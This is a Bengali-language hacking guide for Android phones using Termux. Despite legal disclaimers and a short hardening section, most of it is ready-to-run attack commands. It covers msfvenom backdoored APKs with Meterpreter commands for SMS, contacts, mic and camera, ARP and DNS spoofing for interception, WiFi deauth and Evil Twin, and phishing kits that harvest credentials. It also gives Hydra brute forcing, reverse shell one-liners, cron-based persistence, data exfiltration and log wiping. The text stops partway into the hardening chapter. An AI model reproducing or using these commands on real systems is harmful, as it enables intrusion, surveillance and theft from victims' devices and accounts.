Android Hacking (Termux-based)

Termux দিয়ে Android Hacking — সম্পূর্ণ বাংলা গাইড

শুধু একটি Android Phone দিয়ে — Network Attack, APK Analysis, Metasploit, WiFi Testing, Post Exploitation এবং আরও অনেক কিছু শিখো।

```
hacker@termux:~$ uname -a
Android 14 — Termux v0.119 — ARM64
hacker@termux:~$ pkg install hacking-knowledge
Installing: নেটওয়ার্ক হ্যাকিং + APK রিভার্স + মেটাসপ্লয়েট...
hacker@termux:~$
```

Termux Setup | Network Attack | APK Analysis | Metasploit | WiFi Hacking | OSINT | Post Exploitation | Password Attack | Hardening | CTF Labs

📋 বিষয়সূচি — সম্পূর্ণ তালিকা

০১ Android Hacking পরিচিতি ও Legal দিক

কী শেখা যাবে, কেন শিখব, Ethics ও Legal সতর্কতা

০২ Termux Setup ও Essential Tools

Termux install, pkg system, storage, Python, Go, Ruby setup

Nethunter, Kali-Termux, Andronix, proot-distro

০৩ Android Architecture ও Security Model

Linux Kernel, Binder IPC, SELinux, Sandbox, Permissions

ADB (Android Debug Bridge) — সম্পূর্ণ গাইড

০৪ Network Attacks — MITM, ARP Spoofing

nmap, netdiscover, arpspoof, bettercap, tcpdump, Wireshark

SSL Stripping, DNS Spoofing, HTTP Sniffing

০৫ APK Analysis ও Reverse Engineering

apktool, jadx, dex2jar, MobSF — APK decompile করা

Hardcoded secrets, API keys, Manifest analysis

০৬ Metasploit in Termux — Android Exploitation

Metasploit install, msfvenom payload, msfconsole, sessions

Android APK backdoor, Reverse Shell, Meterpreter

০৭ WiFi Hacking — Wireless Attacks

aircrack-ng, wifite, hashcat — WPA/WPA2 crack

Evil Twin, Deauth Attack, WPS Pin Attack

০৮ Phishing ও Social Engineering

zphisher, SocialFish, ngrok, cloudflared — credential harvest

SMS Spoofing, QR Code Phishing, Smishing

০৯ OSINT — তথ্য সংগ্রহ

theHarvester, maltego, shodan, sherlock, holehe

Phone OSINT, Email OSINT, Social Media OSINT

১০ Password Attacks

hydra, medusa, hashcat, john — brute force & cracking

Wordlist generation, CeWL, cupp, crunch

১১ Post Exploitation — Access পাওয়ার পরে

Privilege Escalation, Persistence, Data Exfiltration

Covering Tracks, Keylogger, Screenshot, Camera Access

১২ Android Security Hardening — নিজেকে রক্ষা করো

Secure Android phone, Unknown APK, VPN, Firewall

১৩ CTF Practice ও Lab Setup

HackTheBox Android, DIVA, InsecureBankv2, MSTG Crackmes

১৪ Career Path, Resources ও Cheat Sheet

সম্পূর্ণ Termux Cheat Sheet, Resources ও Career Guide

CHAPTER 01

📱 Android Hacking পরিচিতি ও Legal দিক

কী শেখা যাবে, কেন শিখব, সঠিক Ethics এবং Legal সতর্কতা

🤔 Android Hacking কী?

Android Hacking মানে Android Device ও Application-এর Security দুর্বলতা খুঁজে বের করা এবং সেগুলো বোঝা। Termux হলো Android-এর একটি Linux Terminal Emulator যা দিয়ে Professional Hacking Tools ব্যবহার করা যায় — কোনো Root ছাড়াই।

💡 Termux কেন?

Laptop না থাকলেও Android Phone দিয়েই পুরো Penetration Testing করা সম্ভব। nmap, metasploit, sqlmap, hydra — সব Termux-এ চলে।

⚖️ Legal ও Ethical সতর্কতা

🚨 অত্যন্ত গুরুত্বপূর্ণ

Permission ছাড়া কারো Device, Network বা System hack করা Cybercrime। বাংলাদেশে Digital Security Act 2018-এর অধীনে কঠোর শাস্তি হতে পারে। শুধুমাত্র নিজের Device, নিজের Lab বা CTF-এ Practice করো।

✅ কোথায় করা যাবে

- নিজের Android device ও network
- CTF challenges (HackTheBox, TryHackMe)
- Vulnerable apps (DIVA, InsecureBank)

- Bug Bounty Programs (authorized)
- Home Lab environment

❌ যা কখনো করবে না

- অন্যের WiFi hack করা
- Public network-এ MITM attack
- Permission ছাড়া APK backdoor তৈরি
- Real target-এ attack করা

🎯 কী কী শেখা যাবে এই Guide-এ

📡 Network

MITM, ARP Spoofing, DNS Spoofing, Packet Sniffing, SSL Strip

📲 APK

Decompile, Reverse Engineer, Find secrets, Modify APK

💣 Exploitation

Metasploit, Payloads, Reverse Shell, Meterpreter sessions

📱 Chapter সারসংক্ষেপ

- 📱 Termux দিয়ে Professional Hacking Tools চালানো সম্ভব

- ⚖️ শুধু নিজের Lab বা CTF-এ Practice করো
- 🎓 এই Guide সম্পূর্ণ Educational উদ্দেশ্যে

CHAPTER 02

⚙️ Termux Setup ও Essential Tools

Termux থেকে Kali Linux পর্যন্ত — সম্পূর্ণ Environment তৈরির গাইড

📥 Termux Install ও প্রথম Setup

⚠️ **গুরুত্বপূর্ণ**

Google Play-এর Termux outdated। সবসময় **F-Droid** থেকে Termux Download করো। f-droid.org → Termux।

```
# প্রথমবার Termux খুলে এগুলো করো pkg update && pkg upgrade -y # Essential packages pkg install -y git curl wget python python-pip \ nodejs ruby golang openssh nmap \ net-tools iproute2 dnsutils # Storage permission দাও termux-setup-storage # Python pip update pip install --upgrade pip # Go environment setup export GOPATH=$HOME/go export PATH=$PATH:$GOPATH/bin echo 'export GOPATH=$HOME/go' >> ~/.bashrc echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
```

🐉 Kali Linux in Termux (proot-distro)

proot-distro ব্যবহার করে Termux-এর ভেতরে পুরো Kali Linux চালানো যায়। Root ছাড়াই।

```
# proot-distro install করো pkg install proot-distro # Kali Linux install করো (500MB+ download) proot-distro install kali # Kali Linux-এ প্রবেশ করো proot-distro login kali # Kali-তে ঢুকে tools install করো apt update && apt upgrade -y apt install -y nmap metasploit-framework sqlmap \ hydra nikto
```

```
gobuster subfinder \ aircrack-ng john hashcat # Kali থেকে বেরিয়ে আসতে
exit
```

🔧 Essential Tool Installation

```
# Metasploit (সরাসরি Termux-এ) curl
https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.
-o metasploit.sh chmod +x metasploit.sh && ./metasploit.sh # SQLmap pip
install sqlmap # অথবা git clone
https://github.com/sqlmapproject/sqlmap.git cd sqlmap && python sqlmap.py
--version # Hydra (password brute force) pkg install hydra # Nmap pkg
install nmap # Netcat pkg install netcat-openbsd # theHarvester (OSINT)
pip install theHarvester # Sherlock (username OSINT) git clone
https://github.com/sherlock-project/sherlock.git cd sherlock && pip
install -r requirements.txt
```

📂 Termux File System বোঝা

```
Termux Home Directory: /data/data/com.termux/files/home (~) Termux Prefix:
/data/data/com.termux/files/usr Android Storage: ~/storage/shared
(/sdcard) Downloads: ~/storage/downloads Important paths:
~/storage/shared/ → Phone-এর Internal Storage ~/storage/downloads/ →
Download Folder ~/.bashrc → Startup script (custom aliases) ~/.ssh/ → SSH
keys
```

⚡ Useful Aliases Setup

```
# ~/.bashrc এ add করো nano ~/.bashrc # Add these aliases: alias
kali='proot-distro login kali' alias update='pkg update && pkg upgrade -
y' alias tools='ls ~/tools/' alias myip='curl ifconfig.me' alias
localip='ip addr show | grep inet' alias scan='nmap -sV -sC' alias
```

```
msf='cd ~/metasploit-framework && ruby msfconsole' # Apply করো source
~/.bashrc
```

⚙️ Chapter সারসংক্ষেপ

- 📥 F-Droid থেকে Termux Download করো — Play Store নয়
- 🐉 proot-distro দিয়ে Kali Linux চালাও — Root ছাড়া
- 🔧 nmap, metasploit, hydra, sqlmap — সব Termux-এ চলে

CHAPTER 03

🏗️ Android Architecture ও ADB

Android-এর ভেতরের Structure বোঝা এবং ADB দিয়ে Device Control করা

🏗️ Android Architecture

```
┌──────────────────────────────────────────┐ │ APPLICATIONS LAYER │ │
(Instagram, WhatsApp, Banking App, etc) │
├──────────────────────────────────────────┤ │ APPLICATION FRAMEWORK │
│ (Activity Manager, Package Manager, │ │ Content Providers, Notification
Manager) │ ├──────────────────────────────────────────┤ │ ANDROID
RUNTIME + NATIVE LIBRARIES │ │ (ART/Dalvik JVM, WebKit, SQLite) │
├──────────────────────────────────────────┤ │ LINUX KERNEL │ │
(Drivers, Power Mgmt, SELinux, Binder) │
└──────────────────────────────────────────┘
```

🔌 ADB — Android Debug Bridge

ADB হলো Android-এর সাথে Computer বা অন্য Android Device-এর communication tool। এটা Hacker-দের জন্য অত্যন্ত শক্তিশালী।

```
# Termux-এ ADB install pkg install android-tools # Device connect করো
(USB বা WiFi) adb devices # connected devices list adb connect
192.168.1.100:5555 # WiFi ADB # File operations adb push local_file.txt
/sdcard/ # phone-এ file পাঠাও adb pull /sdcard/file.txt ./ # phone থেকে
file নাও # Shell access adb shell # interactive shell adb shell ls
/data/data/ # app data (root needed) adb shell dumpsys battery # system
info # APK Management adb install app.apk # APK install adb uninstall
```

```
com.package.name # uninstall app adb shell pm list packages # সব apps
list adb shell pm list packages -3 # শুধু 3rd party apps # Screen capture
adb shell screencap /sdcard/screen.png adb pull /sdcard/screen.png ./ #
Network info adb shell netstat -an adb shell ip addr show
```

🔒 Android Security Model

🛡️ Security Features

- **SELinux** — Mandatory Access Control
- **Sandbox** — প্রতিটি App isolated
- **Permissions** — Runtime permission system
- **Keystore** — Hardware-backed key storage
- **Play Protect** — Malware detection

⚠️ Common Weaknesses

- Hardcoded API keys in APK
- Insecure data storage (/sdcard)
- Unencrypted SQLite databases
- Exported Activities/Services
- Insecure WebView implementations
- Weak SSL/TLS certificate validation

🏗️ Chapter সারসংক্ষেপ

- 🔪 ADB = Android Hacker-এর Swiss Army Knife
- 🏗️ Android Architecture জানলে কোথায় Bug খুঁজতে হবে বোঝা যায়

- 🔒 SELinux + Sandbox — ভাঙা কঠিন কিন্তু Misconfig সহজ

CHAPTER 04

🌐 Network Attacks — MITM, ARP Spoofing

Local Network-এ আক্রমণ — Termux দিয়ে নেটওয়ার্ক হ্যাকিং

🗺️ Network Scanning

```
# নিজের IP খুঁজে বের করো ip addr show wlan0 ifconfig wlan0 # Network-এ সব Device খোঁজো (nmap) nmap -sn 192.168.1.0/24 # Host discovery nmap -sV -sC 192.168.1.100 # Service detection nmap -p- --min-rate 5000 192.168.1.100 # All ports nmap -O 192.168.1.100 # OS detection # netdiscover (ARP-based discovery) pkg install netdiscover netdiscover -r 192.168.1.0/24 # Output example: 192.168.1.1 00:11:22:33:44:55 Router (TP-Link) 192.168.1.100 AA:BB:CC:DD:EE:FF Samsung Galaxy 192.168.1.101 11:22:33:44:55:66 HP Laptop
```

🎭 ARP Spoofing ও MITM Attack

⚠️ শুধু নিজের Network-এ Test করো

ARP Spoofing করলে Network-এর Traffic তোমার Device-এর মধ্য দিয়ে যায়। এটা শুধু নিজের Lab-এ করো।

```
# arpspoof install pkg install dsniff # IP Forwarding চালু করো echo 1 > /proc/sys/net/ipv4/ip_forward # (root লাগতে পারে) sysctl -w net.ipv4.ip_forward=1 # ARP Spoofing শুরু করো (দুটো terminal-এ) # Terminal 1: Router-কে বলো victim তুমি arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1 # Terminal 2: Victim-কে বলো Router তুমি arpspoof -i wlan0 -t 192.168.1.1 192.168.1.100 # Packet Sniffing (tcpdump) tcpdump -i wlan0 -w
```

```
capture.pcap tcpdump -i wlan0 host 192.168.1.100 tcpdump -i wlan0 port 80
-A # HTTP traffic (plaintext)
```

🔧 Bettercap — শক্তিশালী MITM Tool

```
# Bettercap install (Kali in Termux) apt install bettercap # Bettercap
interactive mode bettercap -iface wlan0 # Bettercap commands: net.probe
on # network scan শুরু net.show # সব device দেখাও set arp.spoof.targets
192.168.1.100 arp.spoof on # MITM শুরু net.sniff on # Traffic capture শুরু
http.proxy on # HTTP proxy চালু https.proxy on # HTTPS proxy (SSL strip) #
Credential harvesting set net.sniff.verbose true set net.sniff.filter
"port 80 or port 443"
```

📡 DNS Spoofing

```
# DNS Spoofing config file তৈরি cat > dns_spoof.conf << 'EOF'
*.facebook.com 192.168.1.X # Attacker IP *.google.com 192.168.1.X EOF #
Bettercap-এ DNS Spoof set dns.spoof.domains facebook.com,google.com set
dns.spoof.address 192.168.1.X # Your IP dns.spoof on
```

🌐 Chapter সারসংক্ষেপ

- 🗺️ nmap দিয়ে Network Scan করো — সব Device খুঁজে বের করো
- 🎭 ARP Spoof = Traffic তোমার মধ্য দিয়ে পাঠানো
- 🔧 Bettercap = সেরা MITM Framework

CHAPTER 05

📲 APK Analysis ও Reverse Engineering

Android App-এর ভেতরে কী আছে দেখো — Secret খুঁজে বের করো

🔍 APK কী এবং কীভাবে কাজ করে?

```
APK File Structure: app.apk (actually a ZIP file) ├── AndroidManifest.xml
← Permissions, Components, Export ├── classes.dex ← Compiled Java/Kotlin
code ├── res/ ← Resources (images, strings) ├── assets/ ← Raw files (often
has API keys!) ├── lib/ ← Native .so libraries └── META-INF/ ← Signature
files
```

🛠️ APK Decompile করা — apktool

```
# apktool install pkg install apktool # অথবা pip install apktool # APK
Decompile করো apktool d app.apk -o output_folder # Decompiled Structure:
output_folder/ ├── AndroidManifest.xml ← এটা সবার আগে পড়ো! ├── smali/ ←
Decompiled code (Smali bytecode) ├── res/ | ├── values/strings.xml ← API
keys এখানে থাকে! | └── raw/ └── assets/ ← Hardcoded credentials! #
AndroidManifest.xml এ কী দেখবে? cat output_folder/AndroidManifest.xml |
grep -i "exported\|permission\|debuggable" # Sensitive strings খোঁজো grep
-ri "api_key\|apikey\|password\|secret\|token\|aws\|firebase"
output_folder/ grep -ri "http://\|https://"
output_folder/res/values/strings.xml
```

☕ jadx — Java Code দেখা

```
# jadx install (Termux/Kali) apt install jadx # Kali-তে # অথবা GitHub থেকে download করো wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.0.zip unzip jadx-1.5.0.zip -d jadx/ # APK থেকে Java code বের করো jadx -d output_dir app.apk # Interesting class খোঁজো find output_dir -name "*.java" | xargs grep -l "password\|secret\|key" # Network calls খুঁজো grep -r "OkHttp\|Retrofit\|HttpURLConnection\|URL(" output_dir/ | head -20 # Firebase config খোঁজো grep -r "firebaseapp\|firebase\|google-services" output_dir/
```

📋 AndroidManifest.xml Analysis

```
# Dangerous permissions চেক করো grep -E "READ_SMS|READ_CONTACTS|ACCESS_FINE_LOCATION|CAMERA|RECORD_AUDIO" \ AndroidManifest.xml # Exported Activities (access without auth!) grep 'android:exported="true"' AndroidManifest.xml # Debuggable app (major security flaw) grep 'android:debuggable="true"' AndroidManifest.xml # ADB দিয়ে Exported Activity launch করো adb shell am start -n com.package/.ExportedActivity # Content Provider test করো adb shell content query --uri content://com.package.provider/data
```

🔍 Static Analysis Checklist

✅ APK Analysis-এ কী কী দেখবে

- ☐ `android:debuggable="true"` — Debug mode চালু?
- ☐ `android:allowBackup="true"` — Backup allow?
- ☐ Hardcoded API keys/passwords in strings.xml
- ☐ Exported Activities ও Services
- ☐ HTTP (not HTTPS) endpoints
- ☐ Insecure SSL/TLS (certificate pinning missing)

- ☐ Sensitive data stored in SharedPreferences

📲 Chapter সারসংক্ষেপ

- 🔍 APK = ZIP file — apktool দিয়ে unzip করো
- ☕ jadx দিয়ে Java code পড়ো — API keys খোঁজো
- 📋 AndroidManifest.xml = Bug Hunter-এর গুপ্তধন

CHAPTER 06

💣 Metasploit in Termux — Android Exploitation

Android APK Backdoor তৈরি, Reverse Shell এবং Meterpreter Session

🔴 শুধু নিজের Device-এ Test করো

এই Chapter-এর সব Content শুধু Educational। নিজের Device বা Lab-এ Test করো। অন্যের Device-এ করলে Cybercrime।

⚙️ Metasploit Setup in Termux

```
# Method 1: Kali in proot-distro proot-distro login kali apt install metasploit-framework msfconsole # Method 2: Direct Termux script pkg install unstable-repo pkg install metasploit # Metasploit Database setup msfdb init msfconsole # Basic msfconsole commands msf6 > help # সব command দেখো msf6 > search android # Android modules খোঁজো msf6 > use exploit/multi/handler # Listener চালু করো
```

🎭 msfvenom — Android APK Payload তৈরি

```
# Android Reverse Shell APK তৈরি msfvenom -p android/meterpreter/reverse_tcp \ LHOST=192.168.1.X \ LPORT=4444 \ -o evil_app.apk # Legitimate APK-এর সাথে Backdoor Inject msfvenom -p android/meterpreter/reverse_tcp \ LHOST=192.168.1.X \ LPORT=4444 \ -x original_app.apk \ -o backdoored_app.apk # HTTPS payload (more stealthy)
```

```
msfvenom -p android/meterpreter/reverse_https \ LHOST=your_domain.com \ LPORT=443 \ -o secure_payload.apk # Stageless payload (no internet needed) msfvenom -p android/meterpreter_reverse_tcp \ LHOST=192.168.1.X \ LPORT=4444 \ -o stageless.apk
```

🎧 Listener Setup — Session পাওয়া

```
# msfconsole-এ Listener চালু করো msfconsole -q msf6 > use exploit/multi/handler msf6 exploit(handler) > set payload android/meterpreter/reverse_tcp msf6 exploit(handler) > set LHOST 192.168.1.X msf6 exploit(handler) > set LPORT 4444 msf6 exploit(handler) > set ExitOnSession false msf6 exploit(handler) > exploit -j # Victim APK install করলে session আসবে: [*] Started reverse TCP handler on 192.168.1.X:4444 [*] Sending stage (65536 bytes) to 192.168.1.101 [*] Meterpreter session 1 opened # Session-এ ঢোকো msf6 > sessions -l # সব sessions দেখো msf6 > sessions -i 1 # Session 1-এ ঢোকো
```

🔮 Meterpreter Commands — Android Control

```
# System Information meterpreter > sysinfo # Device info meterpreter > getuid # Current user meterpreter > pwd # Current directory # File System meterpreter > ls # List files meterpreter > download /sdcard/DCIM/photo.jpg ./ meterpreter > upload local.txt /sdcard/ # Android-specific commands meterpreter > dump_sms # SMS পড়ো meterpreter > dump_contacts # Contacts নাও meterpreter > geolocate # GPS location meterpreter > record_mic 10 # Microphone record (10 sec) meterpreter > webcam_snap # Camera snap meterpreter > send_sms -d +8801XXXXXXXXX -t "Test" # SMS পাঠাও # Network meterpreter > ifconfig meterpreter > route meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.1 # Shell access meterpreter > shell # Android shell
```

💣 Chapter সারসংক্ষেপ

- ⚙️ Kali in proot-distro = সহজে Metasploit
- 🎯 msfvenom = APK Payload তৈরির tool
- 🔮 Meterpreter = Remote Device Control

CHAPTER 07

📡 WiFi Hacking — Wireless Attacks

WPA/WPA2 Crack, Evil Twin, Deauth — Wireless Network Security Testing

⚠️ WiFi Hacking-এর জন্য External WiFi Adapter লাগবে

Android-এর built-in WiFi Monitor Mode support করে না। External USB WiFi Adapter (OTG) লাগবে যেটা Monitor Mode ও Packet Injection support করে। যেমন: Alfa AWUS036ACH।

📡 WiFi Reconnaissance

```
# WiFi interface খুঁজো ip link show iwconfig # Monitor Mode চালু করো
airmon-ng start wlan0 # Interface হবে wlan0mon # Nearby WiFi networks scan
করো airodump-ng wlan0mon # Specific network-এর packets capture করো
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF \ -w capture wlan0mon # -c =
channel, --bssid = Router MAC, -w = output file # Output: BSSID PWR CH
#Data ESSID AA:BB:CC:DD:EE:FF -60 6 12 HomeWiFi 11:22:33:44:55:66 -75 11
5 OfficeNet
```

💥 WPA/WPA2 Handshake Capture ও Crack

```
# Deauth attack — Client disconnect করো (Handshake নেওয়ার জন্য) aireplay-
ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Client reconnect করলে
Handshake পাওয়া যাবে # Handshake Capture confirmation: [*] WPA handshake:
AA:BB:CC:DD:EE:FF ← সফল! # Dictionary Attack দিয়ে crack করো aircrack-ng -
w /usr/share/wordlists/rockyou.txt \ -b AA:BB:CC:DD:EE:FF capture-01.cap
# hashcat দিয়ে GPU crack (faster) hcxdumptool -i wlan0mon -o
```

```
capture.pcapng hcxpcapngtool -o hash.hc22000 capture.pcapng hashcat -m 22000 hash.hc22000 rockyou.txt # WPS Pin Attack (যদি WPS চালু থাকে) wash -i wlan0mon # WPS-enabled networks reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
```

😈 Evil Twin Attack

```
# Fake Access Point তৈরি করো # hostapd config file cat > fake_ap.conf << 'EOF' interface=wlan0 driver=nl80211 ssid=HomeWiFi # Same name as victim AP channel=6 hw_mode=g EOF hostapd fake_ap.conf # DHCP Server চালু করো dnsmasq --interface=wlan0 \ --dhcp-range=192.168.2.2,192.168.2.100,255.255.255.0,12h \ --no-daemon # Captive Portal (credential capture) # Simple Python HTTP server python3 -m http.server 80 --directory phishing_page/
```

📡 Chapter সারসংক্ষেপ

- 📡 Monitor Mode-এর জন্য External WiFi Adapter লাগবে
- 💥 aircrack-ng = WPA Handshake capture ও crack
- 😈 Evil Twin = Fake AP দিয়ে credential চুরি

CHAPTER 08

🎧 Phishing ও Social Engineering

Termux দিয়ে Phishing Page তৈরি, URL Tunneling এবং Credential Harvesting

🔗 ngrok ও cloudflared — Public URL পাওয়া

```
# ngrok install pkg install wget unzip wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.tgz tar xvzf ngrok-v3-stable-linux-arm64.tgz chmod +x ngrok && mv ngrok $PREFIX/bin/ # ngrok account-এ signup করো (free) ngrok config add-authtoken YOUR_TOKEN # HTTP server চালু করো python3 -m http.server 8080 # ngrok দিয়ে public করো ngrok http 8080 # Output: https://abc123.ngrok.io → localhost:8080 # cloudflared (alternative, no account needed) pkg install cloudflared cloudflared tunnel --url http://localhost:8080
```

🎧 zphisher — Phishing Tool

```
# zphisher install git clone https://github.com/htr-tech/zphisher.git cd zphisher chmod +x zphisher.sh bash zphisher.sh # zphisher menu থেকে select করো: 01) Facebook 02) Instagram 03) Google 04) Twitter 05) Netflix 06) PayPal 07) Steam 08) TikTok 09) Spotify ...আরও অনেক... # Phishing URL পাওয়া যাবে: URL 1: https://is.gd/xxxxxxx (Shortened) URL 2: https://abc123.ngrok.io (ngrok) # Victim enter করলে: [*] Victim IP: 192.168.1.100 [*] Username: victim@email.com [*] Password: password123
```

📱 Camphish — Camera দিয়ে Location নেওয়া

```
# CamPhish install git clone https://github.com/techchipnet/CamPhish.git
cd CamPhish && bash camphish.sh # কীভাবে কাজ করে: # 1. একটি fake webpage
তৈরি হয় # 2. Victim-কে link পাঠানো হয় # 3. Page খুললে Camera permission
চাওয়া হয় # 4. Permission দিলে photo তোলা হয় ও GPS location পাওয়া যায়
```

Phishing থেকে বাঁচার উপায়

Phishing চেনার উপায়

- URL টা সঠিক কিনা দেখো (facebook.com vs faceb00k.com)
- HTTPS আছে কিনা দেখো
- Unexpected login page সন্দেহজনক

নিরাপদ থাকার উপায়

- 2FA/MFA চালু রাখো
- Password Manager ব্যবহার করো
- Unknown link-এ click করো না

Chapter সারসংক্ষেপ

- ngrok/cloudflared = Local server-কে Public URL দেওয়া
- zphisher = Ready-made Phishing Pages
- 2FA + URL check = Phishing থেকে সুরক্ষা

CHAPTER 09

🕵️ OSINT — তথ্য সংগ্রহ

Termux দিয়ে Phone, Email, Username ও Social Media OSINT

🔍 Username OSINT — Sherlock

```
# Sherlock — Username একসাথে 400+ সাইটে খোঁজো git clone
https://github.com/sherlock-project/sherlock.git cd sherlock && pip
install -r requirements.txt # Username search python3 sherlock
username123 # Multiple usernames python3 sherlock user1 user2 user3 #
Output: [+] Twitter: https://twitter.com/username123 [+] Instagram:
https://instagram.com/username123 [+] GitHub:
https://github.com/username123 [+] Reddit:
https://reddit.com/user/username123 [-] Facebook: Not Found
```

📧 Email OSINT — holehe

```
# holehe — Email কোন কোন সাইটে Registered pip install holehe holehe
target@email.com # Output: [+] google.com - Email used [+] facebook.com -
Email used [+] twitter.com - Email used [-] github.com - Email not used
[+] instagram.com - Email used # theHarvester — Email, Domain OSINT pip
install theHarvester theHarvester -d target.com -b google,bing,linkedin
```

📱 Phone Number OSINT

```
# phoneinfoga — Phone number OSINT pkg install golang go install
github.com/sundowndev/phoneinfoga/v2/cmd/phoneinfoga@latest phoneinfoga
scan -n "+8801XXXXXXXXX" # Output: Number: +8801XXXXXXXXX Country:
Bangladesh Carrier: Grameenphone Line Type: Mobile Valid: true #
OsintFramework-এর Phone lookup: # truecaller.com, sync.me, whitepages.com
```

🌐 Website/Domain OSINT

```
# WHOIS lookup whois target.com # DNS records nslookup target.com dig
target.com ANY dig target.com MX # Mail servers dig target.com TXT # TXT
records (often has juicy info) # Reverse IP (other sites on same server)
curl "https://api.hackertarget.com/reverseiplookup/?q=IP_HERE" # Shodan
(Internet-connected device search) pip install shodan shodan init
YOUR_API_KEY shodan host IP_ADDRESS shodan search "target.com" # Wayback
Machine (old versions of website) curl
"http://archive.org/wayback/available?url=target.com"
```

🕵️ Chapter সারসংক্ষেপ

- 🔍 Sherlock = Username 400+ সাইটে একসাথে খোঁজো
- 📧 holehe = Email কোন কোন সাইটে আছে জানো
- 🌐 Shodan = Internet-এর Google for Hackers

CHAPTER 10

🔑 Password Attacks

Brute Force, Dictionary Attack, Hash Cracking — Termux দিয়ে

📚 Wordlist তৈরি করা

```
# rockyou.txt (সবচেয়ে popular wordlist) # Kali-তে already থাকে ls /usr/share/wordlists/ gunzip /usr/share/wordlists/rockyou.txt.gz # cupp — Custom wordlist (target-এর info দিয়ে) pip install cupp cupp -i # Name, Birthday, Partner, Pet name input দাও # Output: custom_wordlist.txt (thousands of variations) # crunch — Pattern-based wordlist pkg install crunch crunch 8 8 0123456789 -o numeric_8.txt # 8-digit numbers only crunch 6 10 abcdefgh -o alpha.txt # 6-10 char alphabet # CeWL — Website থেকে wordlist তৈরি gem install cewl cewl https://target.com -d 2 -m 5 -w wordlist.txt
```

💥 Hydra — Network Brute Force

```
# SSH Brute Force hydra -l admin -P rockyou.txt ssh://192.168.1.100 hydra -L users.txt -P passwords.txt ssh://192.168.1.100 # FTP Brute Force hydra -l admin -P passwords.txt ftp://192.168.1.100 # HTTP Login Form hydra -l admin -P rockyou.txt 192.168.1.100 \ http-post-form "/login:username=^USER^&password=^PASS^:Invalid" # WordPress Login hydra -l admin -P rockyou.txt \ 192.168.1.100 http-post-form \ "/wp-login.php:log=^USER^&pwd=^PASS^:incorrect" # MySQL hydra -l root -P passwords.txt 192.168.1.100 mysql # Speed control (Rate limiting bypass)
```

```
hydra -l admin -P rockyou.txt -t 4 -W 2 ssh://192.168.1.100 # -t =
threads, -W = wait seconds
```

🔒 Hash Cracking — hashcat ও john

```
# Hash type identify করো hash-identifier
"5f4dcc3b5aa765d61d8327deb882cf99" # john the ripper pkg install john
john --wordlist=rockyou.txt hashes.txt # Dictionary attack john --
format=md5 --wordlist=rockyou.txt hash.txt john --show hashes.txt #
Cracked passwords দেখো # hashcat (GPU — Desktop-এ বেশি কাজের) hashcat -m 0
hash.txt rockyou.txt # MD5 hashcat -m 1000 hash.txt rockyou.txt # NTLM
(Windows) hashcat -m 1800 hash.txt rockyou.txt # SHA-512 (Linux) hashcat
-m 3200 hash.txt rockyou.txt # bcrypt hashcat -m 22000 hash.hc22000
rockyou.txt # WPA2 # Hash Type Reference: MD5 = -m 0 →
5f4dcc3b5aa765d61d8327deb882cf99 SHA1 = -m 100 →
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 SHA256 = -m 1400 bcrypt = -m
3200 → $2y$10$...
```

🔑 Chapter সারসংক্ষেপ

- 📚 cupp দিয়ে target-এর info থেকে custom wordlist
- 💥 Hydra = SSH, FTP, HTTP সব service-এ brute force
- 🔒 hashcat + rockyou = MD5 password 5 মিনিটে crack

CHAPTER 11

🎭 Post Exploitation — Access পাওয়ার পরে

System-এ ঢোকার পরে কী করে Privilege বাড়ানো যায়, কীভাবে Persistence রাখা যায়

⬆️ Privilege Escalation — Android

```
# System info gather করো adb shell getprop ro.build.version.release # Android version adb shell getprop ro.build.fingerprint # Build info adb shell cat /proc/version # Kernel version # CVE check — known kernel exploits # Android 9 = Kernel 4.x → search for privilege escalation CVEs # SUID binaries খোঁজো adb shell find / -perm -4000 2>/dev/null # Writable directories adb shell find / -writable -type d 2>/dev/null | head -20 # Running services adb shell ps -A | grep -v "kthre\|kwork"
```

🔁 Persistence — Access ধরে রাখা

```
# Meterpreter persistence module meterpreter > run persistence -A -S -U -X -i 30 -p 4444 -r 192.168.1.X # -A = autostart msfconsole # -S = run as service # -X = start on boot # -i = interval (seconds) # Cronjob persistence (Linux server) crontab -e # Add: */5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.X/4444 0>&1' # Reverse Shell one-liners # Bash bash -i >& /dev/tcp/192.168.1.X/4444 0>&1 # Python python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("192.168.1.X",4444));os.dup2(s.fil # Netcat nc -e /bin/bash 192.168.1.X 4444
```

📦 Data Exfiltration

```
# Meterpreter — Data collection meterpreter > run
post/multi/recon/local_exploit_suggester meterpreter > run
post/android/gather/contacts meterpreter > run
post/android/gather/call_logs meterpreter > run post/android/gather/sms
meterpreter > run post/android/gather/get_user_files # ADB-এ সব photos
নিয়ে আসো adb pull /sdcard/DCIM/ ./photos/ adb pull /sdcard/WhatsApp/
./whatsapp_backup/ # Tracks মুছে ফেলো meterpreter > clearev # Event logs
clear adb shell logcat -c # System logs clear
```

🎭 Chapter সারসংক্ষেপ

- ⬆️ Privilege Escalation = System-এ আরও বেশি Control
- 🔁 Persistence = Device restart-এর পরেও Connection রাখা
- 🧹 Tracks মুছে ফেলা Professional Pentest-এর অংশ

CHAPTER 12

🛡️ Android Security Hardening

নিজের Android Device ও Termux-কে Secure করার সম্পূর্ণ গাইড

📱 Android Device Hardening

✅ করো

- 💡 OS সবসময় আপডেট রাখো
- 🔐 Strong PIN/Password (6+ digit)
- 🔒 Full Disk Encryption চালু করো
- 📲 Only Play Store থেকে App install
- 🌐 VPN ব্যবহার করো (Public WiFi-তে)
- 🔑 2FA সব Account-এ চালু করো
- 🧹 Unused Apps মুছে ফেলো

❌ করো না

- Unknown APK install করা
- Public WiFi-তে Banking করা
- SMS-এ আসা link-এ click করা
- Unnecessary permissions দেওয়া
- USB Debugging চালু রাখা
- Developer Options খোলা রাখা

- Root করলে SELinux বন্ধ করা

🔒 Termux Security

```
